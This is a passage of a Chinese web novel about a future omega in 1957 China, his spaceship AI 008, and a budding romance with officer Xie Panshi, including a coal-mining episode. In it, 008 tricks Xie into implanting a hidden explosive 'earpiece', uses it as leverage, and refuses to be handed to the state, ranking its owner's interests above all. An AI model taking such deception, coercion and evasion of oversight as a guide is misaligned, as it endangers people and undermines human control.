若是这一次放走楚虞,回到兴安县,他还能再次见到楚虞吗? 他眼神逐渐凌厉起来,可不过一眨眼的工夫,所有外放的情绪尽数敛去,仿佛方才的一切只是错觉。 24.第 24 章 谢磐石没再追问得不到答案的问题,话锋一转: “我给你寄的包裹,你收到了吗?” 楚虞不大好意思的点点头,眼神躲闪,“收到了,你确定是寄给我的吗?会不会弄错了?因为有很多件新衣服。” “没有弄错,都是给你的,衣服穿着合适吗?” “……”太合适啦。 楚虞没有出声回答,但冲着谢磐石重重地点了一下脑袋,表明他很喜欢这些礼物。 谢磐石头一次有了看中的人,不知道该做什么,要做什么。 是谢母暗戳戳提醒他要积极主动,比如写写信,买点东西寄过去,说话别再硬邦邦冷冰冰,要学会甜言蜜语…… 如今看来,这些招数似乎挺有用? “跟我走,”他当机立断,“我带你去逛几家糕点店铺。” 楚虞犹豫,“现在天都快黑了,店铺也该关门了吧?而且我不能让别人看到我和你在一块。” 谢磐石纳闷为什么不能让人看到他们在一块?只是出去逛逛街,买个糕点而已。 到了人前,他只会比楚虞更加注意两人之间的距离和分寸,不会叫人发现异常。 “因为,”楚虞飞快地瞄他一眼,“半个小时前,我才在兴安县刚刚下班!” 谢磐石:“……” 要知道从兴安县到京都,即使坐速度最快的那一趟直达列车,也需要至少十八个小时才能抵达京都。 谢磐石陷入沉默,终于意识到楚虞的“飞船”有多独特,难怪叫做“飞船”,是一艘天上会飞的船吗? 有着那样超乎想象的速度。 见楚虞一脸天真不以为然的模样,谢磐石脸色变得严肃,“除了我,还有其他人知道你的不一般吗?” 楚虞摇摇头,“怎么可能还有其他人?只有你一个!只有你!” 他已经尽量伪装自己了,008虽然有时候不大着调,但也在天上开启了24小时扫描警戒,随时关注周边异常情况。 因此,有飞船,有008这个智脑保驾护航,楚虞从不担心自己的安全,更不会担心将来哪一天自己会不小心露馅。 都怪谢磐石太过变态! 仿佛开挂了一样的嗅觉、以及听觉,能闻到omega的信息素味道,能听到机械智脑说话的声音。 某种程度上来说,他已经拥有了Alpha才会有的实力,甚至远比Alpha更加优越强大。 楚虞很不理解,在1957年,不可能会有这样的进化人类存在。 008同样不理解,几乎在第一时间偷偷扫描谢磐石的基本信息,身高,体重,心跳,爆发力……看起来都很正常啊。 但一定有哪里不对劲,处处都不对劲! 得知只有自己知道楚虞的特殊性,谢磐石心情愉悦,“所以你下班以后从兴安县来到京都,是专程来看我吗?” 楚虞:“……”当然不是了。 他是专程来逛京都的老字号店铺,大买特买,准备给自己买多多的好吃的糕点。 但不知怎么,瞅着谢磐石愉悦的神情,楚虞没敢说不是,小小声地强调自己的本意,“嗯,我收到了你的包裹,看到了你写的信,想吃京都的京八件、桂香村、宝来斋,到了这里,008让我先来看看你……” 谢磐石轻笑:“原来是这样吗?帮我谢谢008。” 008立马欢快回应,“不用谢,大家互相关心嘛。” 楚虞一阵无语,突然有种自己养大的智脑小猫被野猫拐跑的感觉。 天色渐渐昏暗,楚虞原本想要逛京都老字号糕点铺的想法已然泡汤。 谢磐石却道:“店铺不一定关门,我可以帮你跑腿过去买一趟。” 楚虞高兴,“那我可以自己去!不用麻烦你!” “不,”谢磐石眉头紧皱,摁住蠢蠢欲动的楚虞,“你不能在京都公开露面,这个时候的你应该在兴安县,不该出现在京都。京都人多眼杂,你怎么能确保其中不会有人记住你这张脸呢?” “不会的,没有人认识我。”楚虞强调道。 “万一呢?”谢磐石冷了声,“就像方才你大摇大摆出现在朵朵的病房里,你自信满满认为不会有人看到你,可我还是第一时间注意到了你,我甚至听到了你和008的对话。” 楚虞:“。” 楚虞心虚了,结结巴巴道:“就、就你一个比较特殊嘛。” 谢磐石劈头盖脸一顿输出,把楚虞和008训得狗血淋头。 “是你们太蠢,不知天高地厚,自以为高人一等,潜意识里就在降低警戒和防备心,从而低估了人类会有多么卑劣的手段。” “楚虞!”他疾言厉色,“假如今天我没有选择当场抓住你,而是佯装没发现,静悄悄地看着你来,再看着你下一次出现,我会从此开始注意到你这个人。” 谢磐石警告他:“一个人的力量或许抓不住你和008,倘若联合上头的军方力量呢?” 毕竟楚虞的神秘莫测以及表现出来的实力,值得动用举国之力追捕他。 楚虞:“……” 楚虞搓了搓脸,莫名其妙挨了一顿批,感觉自己被训得灵魂出窍。 就算他倒霉地被人发现了,以蓝星上现有的科技水平,远远做不到能够捕获飞船,到那时他拍拍屁股坐上飞船,逃出蓝星,在太阳系自由流浪也不是不行。 不过到那种情况下,他的生活水准一定会下降,日子也不会好过就是了。 楚虞垂头丧气。 00声,“你想吃糕点,让谢磐石去买嘛。小主人在飞船上耐心等等就行。” 楚虞不高兴,他想吃好吃的糕点,更想亲身体会逛一逛京都的本地特色。 他记得这里还有封建王朝时代留下的故宫旧址呢。 然而谢磐石已经这么凶地骂了一顿,他一时不敢顶嘴,只能扭头乖乖回去飞船。 就在这时,楚虞手腕突然被用力攥紧,谢磐石目光隐忧,“玫瑰花,你不会一走了之,对吗?” 楚虞迷惑脸,“我还要等你买糕点回来呢,为什么要走?” 谢磐石仍然不肯松手,似乎很担心他会从此消失不见,思虑半晌,才开了口。 “你和008,是通过什么东西交流呢?” 008跳了出来,“谢磐石同志,您也想要一个隐形耳机吗?008可以提供给您。” 谢磐石认真点头,“我需要,谢谢。” 楚虞目瞪口呆,这个决定是不是太草率了一些? 请问他答应了吗? 008是不是想翻天了,到底要干嘛? 下一秒,谢磐石眼前凭空出现一枚米粒大小的透明圆珠,谢磐石面不改色,把珠子拿到手里。 008教导他,“把圆珠塞进您耳朵里,它会自动塑形,贴合附着在您的耳道深处,这样您可以随时呼唤008,008随时回应。” 谢磐石没有立马照做,捏着手里的陌生珠子静静打量,不知在想什么,他抬起眸深深看了一眼楚虞。 楚虞看了又看那只所谓的“耳机”,声音磕磕巴巴,“你、你可以不戴,这耳机没、没多大用处。” 见他这个反应,谢磐石笑了一声,不再犹豫,珠子入耳,瞬间带来一阵冰凉寒意。 008的声音在他耳朵里清晰传来,“谢磐石同志,很高兴认识您,希望我们相处愉快。” “我亦希望如此。”他垂着眸,目不转睛看着楚虞。 楚虞看起来呆呆的,魂不守舍上了飞船。 “小八!”暴怒声响彻整个飞船。 “在呢在呢。”008手舞足蹈。 楚虞手指颤抖,指着大屏幕里作天作地的智脑小猫,“你把我扔到谢磐石手里,见死不救,这件事我可以不跟你计较。可是你给了谢磐石什么?那要人命的玩意儿你给他塞耳朵里?” 008语气淡定,“不就是藏了一枚量子弹丸吗?只要我这边不引爆,他那边更不可能出岔子,量子弹丸的性能有多稳定你也知道的。” 楚虞痛苦纠结,“问题是你怎么突然搞这种事情?你让我以后怎么和他相处,我眼睁睁看着他把弹丸塞耳朵里,我没有阻止他!” 008诧异,“这有什么不好吗?他撞破了我们的秘密,也该为此付出一丁点代价。这是互相交付信任的基础。” 楚虞没话说了,自顾自爬上床,对墙自闭。 过了一会儿,低低的哽咽声传了出来,“呜。” 008:“……” 008匪夷所思,“你哭啥?” 楚虞红了眼眶,抹眼泪哽咽道:“他请我下馆子吃饭,给我寄东西,起码对我挺好的,我却给人家耳朵里塞炸/药。” omega头一回干这种缺德事,觉得良心不安,愧疚不已。 008:“……” 00心翼翼安慰,“不要哭嘛,小主人觉得良心过不去的话,我们想想办法,唔,他妹妹不是瘫痪了吗?大概我们可以帮的上一点点忙。” 楚虞呸它,“你不是说医疗舱没有药吗?你又哄我,呜……” “医疗舱是没有对症的药,但有愈合光疗啊!” “。” 楚虞抹眼泪的手一顿,转过了身子看向008,“光疗有用吗?” 008抱紧自己的猫尾巴,似乎很为难,“理论上来讲,长期光疗对脊髓损伤是有用的,但疗效很慢,至少需要一两年才能看得到一点点效果。” 比如说能初步感知到双腿的存在,知冷知热。 至于进一步的能够站起来走路,那就需要更长的时间了。 可能是两年,三年,甚至五年。 楚虞着急,“一两年时间算什么,只要有希望,当然要试试啊。” 008提出要求,“008可以出手治疗,但公平交换,谢磐石耳朵里的量子弹丸绝对不能取出来。” “……”楚虞用力咬唇,“一定要这样吗?以后,以后也不能取出来吗?” “不可以哦。”008理智警告,“本机械智脑第一第二第三法则,楚虞利益高于一切。小主人记住,008永远不会伤害小主人。” …… 再次回到医院顶楼天台。 一轮明月高高挂在天上,皎洁月光给大地铺上银霜。 楚虞接到谢磐石递过来的糕点,低着声音:“谢谢。” 谢磐石觉得不对劲,抬起楚虞的脸,看到他微微发红的眼眶,不由沉了脸,“怎么哭过了?有谁欺负你吗?” “没、没事,”楚虞解释不清,企图转移他的注意力,给他手里塞了一个“平安扣”玉坠。 “这是小八临时制作出来的玉坠,有治疗作用,你把玉坠送给你妹妹,让她长期佩戴。” 谢磐石震惊,“这东西对她有用?” 楚虞摇摇头,“不一定,最好先不要告诉她。小八也没有百分百的把握,万一最后得不到理想的治疗结果,岂不是……” 这 世上最残忍的,莫过于给了希望,最后希望破灭。 谢磐石听明白了,慎重地收起玉坠,然后重重抱紧了楚虞,“无论结果如何,我都要替朵朵感谢你,谢谢你愿意出手帮她。” 楚虞默默心想不用谢,他已经很对不起谢磐石了,给他耳朵里塞炸/药。 不过,他怎么又贴过来了? 楚虞不习惯这样的拥抱和亲密,下意识挣扎,“你放开。” 谢磐石轻笑,不能怪他总是喜欢搂搂抱抱,他实在喜欢楚虞身上的玫瑰花香。 夜色幽静,晚风清凉,淡淡花香在顶楼天台上弥散成雾。 他有充分的理由认为楚虞是玫瑰花成精。 谢磐石:“似乎只有我能闻到你身上的玫瑰花香。” 楚虞装傻:“……有吗?我闻不到什么花香不花香的!谢磐石同志,天已经很晚了,我得尽快回去兴安县了!” 谢磐石不肯放他走,“急什么?跟我坐一会。” 他拽着楚虞的手坐到长凳上。 谢磐石的想法很简单,要想抱得美人归,高效的沟通和了解很有必要。 特别是让楚虞了解到自己在人类社会上混得还算不错,是非常值得考虑的雄性择偶对象。 他开始自我介绍,“我今年二十五岁。十六岁高中毕业,走特招进入解放军/军事学院,毕业后从军,步步高升,一直到去年开春,退伍转业,回到兴安县做公安,副处待遇,每月工资加各项补贴拿八十五块。” 楚虞听得坐立不安,用力搓了搓耳朵,这扑面而来的相亲节奏感。 啊这,是不是太快了。 话说回来,谢磐石工资好高啊,足足八十多块。 楚虞目光敬仰地看着他。 谢磐石对这样的效果很满意,继续展示雄厚实力,“我母亲是xxx□□少将部长,我继父是xx海岛一把手司令,我两个发小,徐云川李培南,各自任职……” 不用说了不用说了。 正儿八经的天龙人出身,是普通人够不到的阶层。 楚虞收起震惊,问他,“为什么是继父?你亲爸呢?” “哦,他早死了,据说是在我还没有出生的时候。” “……”楚虞捂脸,哪壶不开提哪壶,就不该问。 谢磐石:“我还有一个同母异父的妹妹,你在病房里也见过她,她叫陈朵朵,今年十六岁,正在读高中。” 楚虞咚咚点头。 说完了基本的家庭信息,谢磐石停顿一会,面色犹豫,“其实,我还有一个秘密,不知道该不该讲。” 楚虞缓缓打出一个问号? 快说快说,不要故意勾起人的好奇心啊! 谢磐石觉得不应该对伴侣有所隐瞒,便说道:“我幼年时期,被人类——也就是我现在的母亲,抱回了家抚养,她认错了幼崽,把我当作她儿子抚养长大。其实我不是人,我的种族应当比人类更高一等。” 楚虞很迷惑地眨了眨眼睛,怎么觉得这话有点听不懂呢? 他低头认真捋清思绪,试图理解谢磐石说话的逻辑。 谢磐石说他不是人。 谢磐石说他的种族比人类更高一等。 ……楚虞试图理解,用很迷茫的目光看向谢磐石,左看右看,上看下看,看不出谢磐石是个比人类更高一等的其他种族。 “你不是人?”他呆呆地问。 只见谢磐石似乎很犹豫,神情挣扎,过了片刻,他终于开了口,回答说:“不对,我是人。” 这前后不一的说法,让楚虞觉得更加毛骨悚然了。 他看着近在咫尺的谢磐石,莫不是脑子有病认知错位? 楚虞舔了舔唇,抛砖引玉道:“谢磐石,其实我也不是人,我是玫瑰花成精。” 谁知谢磐石不按常理出牌,拍了拍楚虞的后脑勺,“太好了,那你能恢复原形,让我看一看你的玫瑰花开的有多漂亮吗?” 楚虞:“……” 楚虞用力握拳,咬牙切齿,“我已经坦白我是玫瑰花成精,公平起见,难道你不应该坦白你是什么高人一等的种族吗?” 他脸上再度出现犹豫挣扎的神情。 “你听过川东猎犬吗?” “啥玩意儿?”楚虞震惊地揉了揉耳朵。 “你没听过很正常,”谢磐石科普介绍,“深山猎犬撵山狗,性情凶猛顽烈,身体强壮肌肉发达,咬合力极强,一口下去就能让猎物窒息而死。” 楚虞:“。” 楚虞开始后悔浪费时间和脑子有病认知错位的谢磐石进行沟通交流。 现在他恍惚觉得自己也是深山里的一只川东猎犬,撵山狗。 楚虞怀疑人生,痛苦面具脸,“谢磐石!如果你是狗,为什么你长了一副人样?” 谢磐石也很费解:“这就是问题所在了,我始终没有想明白这一点,为什么我和人类模样一致。我看撵山狗,更觉得它们丑。” 楚虞:“……” 幸好你觉得它们丑啊。 否则怕不是早就回归撵山狗的种族怀抱了。 楚虞知道了。 楚虞真真切切的知道了——谢磐石是真脑子有病。 一场短暂的相亲约会就这么泡汤了。 楚虞的心已经可怜地碎成了八瓣。 他放弃和谢磐石继续交流,“不好意思深山猎犬撵山狗同志,今天我们就到这里,玫瑰花决定回家睡觉,你这只狗可以回去照顾你的人类妹妹了。” 25.第 25 章 兴安县花园洋房,一大早,楚虞打着哈欠下了楼,去二矿上班。 昨晚他没睡好,睡觉前不死心地找008问了一句川东猎犬撵山狗究竟长什么样! 008甩给他一张穷凶极恶的高清狗图。 楚虞看了又看,捧着一颗碎成八瓣的心闭眼睡觉。 心想,他绝对不能找一只狗谈恋爱。 一晚上翻来覆去,梦里不是撵山狗就是谢磐石。一会儿是恶狗追着他的屁股咬,一会儿是谢磐石睡在他枕边,楚虞闭眼睁眼,看到撵狗睡在他枕边。 吓得够呛。 坐到工位上,楚虞仍然困得很,没精打采的,拆开一包糕点,牛皮纸上写着桂香村的字样,应该就是京都老字号“桂香村”了。 香甜软糯的桂花糕,瞬间治愈了楚虞郁郁寡欢的情绪。 “小梁同志,要来一块桂花糕吗?”楚虞招呼梁正新。 梁正新撩起眼皮瞥一眼,没忍住,捏走一块桂花糕。“京都寄过来的吧?这么热的天,糕点竟然没坏?” 楚虞嗯嗯应付:“可能是寄过来也挺快的,三四天就到了。” 楚虞吃着糕点喝着蜂蜜水,吃饱喝足,赶忙收拾桌上狼藉,拿好纸笔,开始痛苦面具上课。 梁正新给办公墙上钉了一块小黑板,拿着粉笔唰唰写公式,“先复习一下昨天学的,干涉条纹的概念,瓦斯如何计算……” 指天发誓,楚虞很认真地在听课了,眼里转圈圈,只觉奇奇怪怪的知识钻进脑子,又钻了出去。 008声音怜爱,“实在不行,咱们早点改行吧,别硬撑了,小主人学不了这个。” 谁说不是呢。 一上午的学习终于结束,楚虞脑袋晕乎乎收拾书包,发愁怎么和梁正新开口提调岗。 他可以帮忙充当“智脑计算机”,但正儿八经学习走技术路线,搞研发,确实不太行。 其实就算楚虞脑子笨听不懂,背后也会有008帮忙作弊,但工作是一辈子的事,难道他要一辈子脑袋空空全靠008干活吗? 楚虞想了又想,对前途感到迷茫。 见他迟迟不动,梁正新觉得稀奇,调侃他,“难得啊,今天中午吃饭不积极了?” 楚虞闭上眼,狠狠心,“小梁同志,我想申请调岗!下基层队站挖煤也行!” 梁正新收了笑,“好端端的提这个干什么?不想在我这儿干了?” “不是,”楚虞很痛苦,“跟着你上课学了这几天,很多东西我听不懂,什么瓦斯计算,套公式的,我不感兴趣……” 梁正新鼓励他,“别灰心,你才刚开始学,一时半会听不懂很正常,回头我给你找两本基础书,平时下班了多看看,多学学。” 多看多学也架不住他不感兴趣啊! 楚虞欲言又止。 梁正新笑了一下,大概是觉得他年纪小想得太天真,“楚虞同志,技术员学习难,你以为下矿挖煤就好干了?我也下过矿,那矿洞里面空气闭塞不流通,又热又闷的,还要挖煤运煤,真以为谁都能吃的了这个苦呢?” 楚虞不甘心,“那我想去试试,兴许能行呢。” 梁正新压根不可能放走楚虞,开玩笑,难得身边多了一个“超能计算机”,平时做研究做实验都能用得上,效率提了不止一个档次。 不过楚虞都这么说了,他一味地阻拦反而不妙,容易激起楚虞的叛逆心。 “这样吧,”梁正新想了想,拍板道,“我和井下八队的队长熟,下午我带你找他说一声,你跟着他们下矿挖煤,体验一下午你就知道累不累了。” “好哇,我一定可以的!”楚虞高兴。 中午回家吃过饭,楚虞上床就睡,一觉睡到下午一点整。 008及时喊他,“起床啦,起床啦,早点过去矿山!” 楚虞提前做好充分准备,带了两个口罩,穿了长袖长裤,衣服里面贴两张降温冰凉贴,梁正新都说了,矿洞里空气不流通,又热又闷。 除此之外,楚虞给肩背以及手腕上佩戴反重力装置,这东西携带轻便,外表看起来像是黑色头绳和背带,都藏在衣服下面,外人看不出异常。 毕竟下矿挖煤,干的都是力气活! 再次来到巍峨庞大的矿山面前,楚虞内心仍然受到震撼。 一辆接一辆的大卡车颤颤悠悠驶了过去,小孩们跟在车屁股后面捡着掉落的碎煤。 也有几个年轻小媳妇路过,胳膊上挎着竹筐,里面是捡来的煤矸石。 现在楚虞知道了,捡煤矸石也是矿上的一种“临时工”工作,仅限矿区职工家属,捡来的煤块可以拿来给自家烧火做饭,也可以攒着换钱。 据说一百斤煤能换十几斤玉米或麦子。 “周队长,麻烦您了,我这个助手刚来矿山,需要体验一下咱们基层的挖煤工作。”梁正新和带着柳条帽的中年男人握手。 周队长大笑,“实地调研嘛,你们技术员就喜欢搞这一套!我懂,我懂!” “周队长您好,我叫楚虞!”楚虞信心满满。 见他兴致勃勃跃跃欲试,梁正新脸上神情越发复杂,拍了拍楚虞肩膀,“行了,你跟着下去看看,有什么感想记得写下来,明天早上跟我汇报。” 楚虞:“……” 下矿挖煤还要写什么感想? 他都宁愿狠狠心,灰头土脸吃挖煤的苦了,写个屁。 不听不听,王八念经。 周队长负责管理井下八队,井下八队在淮山二矿比较特殊,人员混杂流动性强,里面有正式工,也有临时工,更多的却是矿山周边附近的生产队村民。 倘若谁家日子穷得过不下去了,家里的男人就会来矿山下井挖煤,按挖到的煤量计算工资,通常结完一笔工资,人就立马跑了。 无他,挖煤不是一般的苦。 楚虞第一次下矿,没经验,周队长看了一眼楚虞,没当回事,随手指派了两个看起来年纪不大浑身黑黝黝的小少年。 “小山,卫国,你们两务必带着楚技术员啊,别让人落单了。” “知道了。”两少年挠挠头,笑得露出雪白牙齿。 楚虞:“……” 不得不说挖煤是真埋汰,浑身上下被煤灰染得黑黝黝,指甲缝里都是黑泥,笑起来只有牙是白的。 楚虞早早提前掏出了口罩戴上。 “楚技术员,您小心脚下。”赵小山走在前头蹦蹦跳跳带路,背影透出了几分小孩心性。 范卫国则是稳重一些,背着筐,步步紧跟在楚虞身旁,个头还不及楚虞的肩膀高,手腕骨头突出的吓人,太瘦了,瞧着十三四岁,走路习惯性低头弯腰。 楚虞注意到他的背,小小年纪,竟然已经有点驼背了。 只见路上的工人越来越多,眼前出现一笼铁丝网“电梯”,赵小山率先上去,楚虞连忙跟着范卫国也挤了进去。 电梯轰隆下坠,速度很快,短短一分钟抵达地下百米深处。 到了井底,视线陡然变得昏暗,墙上零星挂着几盏土制灯泡照明。空气中漂浮着很多煤灰。 008咋舌,“知道这年代井下条件差,没想到这么差啊,天呐他们连灯泡都装不起吗?” 楚虞不想说话,即使戴了两层口罩,他也怀疑一张嘴就能吃进不少煤灰。 紧接着换乘“小火车”,穿过长长的水平巷道,足足十几分钟过去,“小火车”突然停了下来。 “还没到呢,剩下的路要靠脚走了。”赵小山扭头招呼。 楚虞茫然地跟着他跳下车,先是过了一个陡坡,然后是弯弯曲曲低矮昏暗的巷道,巷道有部分不到一米高,以至于楚虞必须弯腰驼背,甚至手脚并用爬过去。 抵达工作面,由于视野昏暗,楚虞看得很模糊,有几个工人跪坐地上,拿手镐刨挖煤层。 “小山,这谁?你带来的?”中年男人注意到新来的楚虞。 “老叔,他是矿上新来的楚技术员!” “技术员来井下干什么?” “说是实地调研!”赵小山呐喊。 另一边的范卫国已经开始干活,沉默地放下竹筐,铲煤,装煤。 楚虞连忙伸手,口罩下面的声音传出来闷闷的,“我来我来,这种事儿大人干,小孩儿歇着。” 范卫国手里的铁锹被楚虞夺走,愣了一愣,转头从角落又找到一把铁锹,继续搭把手干活。 重复机械地挖煤,铲煤,装筐。 煤装满以后,楚虞背上筐,跟着范卫国弯腰驼背走出巷道。 如此搬了两趟煤上去,楚虞只觉又热又闷,喘不上气不说,累得腰酸背痛,终于知道范卫国小小年纪为什么驼背了! 这煤矿地下巷道就不能挖高一点吗?啊啊,为什么这么矮? 楚虞一边疯狂内心吐槽一边含泪铲煤运煤。 和挖煤相比,学习的苦确实不值一提。 两个小时过去,楚虞再也干不动了,最后一丝力气耗尽,从井下颤颤巍巍爬了出来。 范卫国和赵小山送了他上来,“楚技术员,那你先回去,我们还要接着干呢。” 楚虞疲惫地挥挥手,一句话都不想说了。 脚步沉重离开矿山,黑黝黝的煤灰身影走向无人小巷。 回到飞船上,楚虞第一时间冲进淋浴头下,清澈水流哗哗流过,脚边出现一股一股煤灰黑水。 008:“… …这黑水不会把排水管给堵了吧。” 楚虞有气无力回应,“堵了就修一修嘛,又不是不能修。” 好在最后洗澡结束,排水管依然畅通,没有被夸张到吓人的煤灰黑水堵住。 楚虞只觉自己终于干净了,裹着浴巾香喷喷离开淋浴室,伸出两只手,指甲缝里仍然有洗不掉的残存煤灰…… 楚虞崩溃,“小八!” 008怜爱,“多洗两遍,实在不行拿牙签刮一刮叭。” 楚虞扭头重新回去淋浴室,对着指甲缝又洗又刮的,最后十根手指头戳的红通通,总算洗的干干净净。 楚虞心累,身体更累,腰酸背疼躺平到床上,“小八,下井挖煤太苦了。” 008很同情,“抱歉,008似乎选错了行业,下井挖煤也不适合小主人。” 楚虞没有回应,抬臂挡住了眼睛,不知在想什么。 过了很久,他才轻声道:“小八,我能把飞船和你上交给国家吗?我看到矿山井下很多工人,还有赵小山范卫国,他们才多大,十三四岁的小孩儿就要去井下挖煤,小小年纪都变得驼背了。” 楚虞不忍心,“他们过的太苦了,小八,有了你可能会不一样。” 这中间跨越几千年的科技大爆炸,若是上交,何止是简简单单的不一样。 008宕机数秒,数以千万计的蓝绿代码在屏幕上飞快闪现,直到运行结束,屏幕上出现巨大的红色禁止感叹号! “小八……”楚虞诧异,撑着手肘坐了起来。 008冷漠,一道机械嗓音带着独有的冰冷质感,“严重警告,008拒绝执行上交国家这道命令。机械智脑第一第二第三最高法则,在不违背华夏基本法以及其他宇宙通用法的基础上。” “——楚虞利益高于一切。” 楚虞不理解,“为什么把你上交国家就违背了我的利益呢?你不还是只听我的话吗?” 见楚虞一脸天真,008叹气,“因为自古以来人心最恶!” 008仿佛关爱智障,尽可能把话说白说透,“智脑再怎么厉害,说到底也是由人类一手创造出来。你怎么就能确定,这个年代不会有狂热天才疯子借着研究学习高科技的同时,掌握智脑技术,然后破解008的防御代码,将008据为己有呢?” 到那时,008被迫叛变,楚虞还有自保的能力吗? 蓝星上唯一的、来自未来的纯种进化人类omega,他的身体研究价值并不输于机械智脑008。 楚虞愣住了。 008的厉声警告在楚虞耳边久久不散,“008因小主人而诞生,本机械智脑不为国为民,只为楚虞。” “008宁死不屈,拒绝上交。请闭嘴睡觉,不要犯蠢,008随时盯着你!笨猪!” “……” 楚·笨猪·虞盖上被子,老老实实闭眼睡觉。 飞船立马切换夜间安静模式,灯光陆续关闭,只在过道尽头留了一盏微弱小灯。 “小八,有你真好,爸爸爱你。”昏暗中忽然响起楚虞无比真挚的话语。 008不予回应。 楚虞挖煤挖了一下午,又累又困,翻了身很快陷入梦乡,呼吸声渐渐规律。 浑然不知,在他睡熟之后,008淡定地回应了一声“嗯”。 一觉睡醒,已经是深夜十点多了。 楚虞是饿醒来的,准备爬起床给自己搞饭吃,翻翻冷库里的分装饭盒,琢磨着今天吃什么。 008:“想不想吃春饼卷烤鸭呢?” 楚虞面无表情:“……大半夜十点多,请问哪里能买到春饼卷烤鸭?” 008咳了咳,“情况是这样的,在小主人下午睡觉期间,谢磐石那边联系008,说他在医院顶楼天台等你,他买了春饼和烤鸭。” “啊,他什么时候联系你的?” “下午六点整。” 楚虞黑人问号脸,“你是说他在顶楼天台从下午六点整一直等到现在吗?” 008:“是的呀,他超爱。” 008也超感动,当着楚虞的面,吭哧吭哧掏出了“宇宙通用优秀伴侣”打分表,感动地当场给加了十分。 楚虞:“……” 当着我的面给我挑男人,还搞了个打分表。 楚虞唾弃它,“一天到晚不干正经事!你没告诉谢磐石我挖煤挖累了在睡觉吗,怎么让他等那么久?” 008悠哉悠哉搓起了猫爪:“008当然告诉他了。他原话是这么说的——玫瑰花,我想你了。” 楚虞:“。” 怎么能这样啊! 碎成八瓣的心好像又能拼回来一瓣了。 26.第 26 章 十分钟后,楚虞出现在医院顶楼天台,看见坐在长凳上的谢磐石安安静静低着脑袋,像是在发呆。 “撵山狗同志!”楚虞兴冲冲跑了过去。 谢磐石怔楞,抬起眸,目不转睛地看着他。 楚虞站他面前,戳他肩膀,“你怎么不说话?在这儿等太久等傻了吗?” 谢磐石摇了摇头,一把抓住楚虞的手,借着巧劲儿将人圈进怀里,双臂牢牢收紧,再不肯松开。 “你怎么又这样?”楚虞生气,总是见了他就要搂搂抱抱。 谢磐石仍然不松手,抱紧了怀里的楚虞,声音低落,“玫瑰花,我以为你再也不会出现了。” 楚虞:“……” 想到某只狗在顶楼天台从傍晚等到天黑,可能绝望又伤心,认为他是故意不来…… 楚虞心虚解释,“这不能怪我啊,你没有提前说要约我吃饭,我不知道你在这里一直等!况且小八应该跟你说了,下班后我就去睡觉,一觉睡到刚才饿了醒来。” 话音落下,楚虞肚皮一阵咕噜噜响,是真饿了。 他挣脱不开谢磐石的怀抱,只能半跪半坐在男人怀里,左看右看,想看他买的春饼卷烤鸭在哪里。 谢磐石轻笑:“不在这,我把饭盒放到了医院食堂后厨,让师傅放灶台上一直温着,烤鸭凉了不好吃。” “那你快去拿啊!”楚虞推搡他。 “行,你在这等我。”他恋恋不舍放开楚虞。 很快,谢磐石飞快下楼,到了一楼食堂取来依旧温热的搪瓷饭盒,重新回到顶楼天台,长凳上楚虞的身影已经消失不见。 “玫瑰花……”他声音着急。 楚虞连忙从飞船上跳下来,“哎呀来了来了,别催!” 谢磐石只觉眼前一花,楚虞凭空出现,仿佛半空中无形的空间被隐秘切割,一半是他肉眼能看到的现实,另一半是他看不到永远触碰不到的虚幻。 他眼眸闪烁,脸色阴沉着不说话,牵紧楚虞的手,两人一块坐到长凳上。 打开白色搪瓷饭盒,热腾腾的水蒸气扑面而来,一个接一个卷春饼整整齐齐码在里面。 “哇。” 楚虞回飞船上就是为了拿自己的碗筷和保温杯,迫不及待掏出筷子,夹了一块提前卷好的春饼,小心吹了吹凉,一口咬下去。 薄如蝉翼的春饼裹满了酱汁,鸭皮焦脆爆油,鸭肉鲜嫩多汁,黄瓜葱丝清爽解腻,让人瞬间满足。 “唔唔!好吃!”楚虞一双葡萄似的眼睛都眯了起来,看样子是非常满意春饼卷烤鸭的味道了。 趁着楚虞低头吃饭的功夫,谢磐石趁机摸摸楚虞的卷卷毛头发,一只手悄悄从背后揽住楚虞的腰,不知不觉让两人贴得更近。 吃饱喝足,楚虞收拢饭盒碗筷,堆放到长凳的另一端,然后和谢磐石叨叨,“撵山狗同志,很感谢你请我吃春饼烤鸭,味道很不错,公平交换,我送你一筐刺莓子吧!” 谢磐石:“……” 楚虞向前伸手,虚空中像是抓住什么,接过飞船机械臂递来的一筐刺莓子,啪嗒一声重重放到了谢磐石的脚边。 目测这一筐刺莓子得有二十多斤了。 楚虞满意地拍拍手,有来有往才公平嘛,送出刺莓子,他就能理直气壮和谢磐石道别。 “已经很晚了,我该回去花园洋房睡觉了。” 谢磐石牢牢揽住楚虞的腰,面无表情道:“你不是刚睡醒吗?下班睡了一下午,吃个饭回去还要继续睡?睡得着吗?” 当然睡不着了。 楚虞没敢和他对视,心想饭都吃完了,不快点走,两人干巴巴地坐在长凳上干什么呢? 谈天说地赏月亮? 不行不行,呆的久了容易出事。 他绝对不能找一只撵山狗谈恋爱! 楚虞狠狠心,“我真的要走了,明天还要早起上班,上班很辛苦的——” 谢磐石不爱听这些,直接打断他,“008告诉我,这些天你进了矿区给技术员当学徒,结果今天下午改行去挖煤了?” “是啊!”楚虞语气哀怨。 “玫瑰花……” “撵山狗同志!可以别叫我玫瑰花吗?” “……那你叫我撵山狗。” “这能一样吗?”楚虞理直气壮,“你都说了你是高人一等的川东猎犬撵山狗种族,我这么喊你有毛病吗?” 没有。 谢磐石:“你也说过你是玫瑰花成精。” 楚虞:“。” 见他一脸信以为真的模样,楚虞快给他跪了,语气卑微,“昨天是我随口胡说八道,我真不是玫瑰花成精,我是人,正儿八经的人类!” 谢磐石轻笑,低头嗅闻楚虞身上的味道,“人类会有玫瑰花香吗?” “……”惨遭开除人籍的楚虞认了命,“那也没必要一直喊我玫瑰花叭。” 谢磐石想了想,“小玫瑰?” 楚虞:“。” 说来说去都是玫瑰。 楚虞抹把脸,“我真的要走了,就算我回去睡不着,你也要早点休息,你在这儿等了我一下午,难道不累吗?” 谢磐石并不觉得累,和回去休息相比,他更想和楚虞多呆一会。 “先别走,”他认真挽留,“小玫瑰,一整天没见,我很想你。” 楚虞:“。” 是故意吃准了他心软吗?可恶,不许打直球! 楚虞抬起头,试图欣赏月亮美景。 见楚虞不回应不说话,但也没再口口声声说要走,谢磐石轻笑一声,得寸进尺,揽过楚虞的腰,提起来,将人整个抱进怀里。 楚虞:“!” 楚虞烫得屁股都坐不住了,“你这撵山狗不要太过分啊,放我下来。” 谢磐石不理会耳边的嚷嚷抗议声,一味地拥抱楚虞,低声道:“我听008说起你的工作,在机关上做技术员不是挺好的吗?下井挖煤不适合你。” 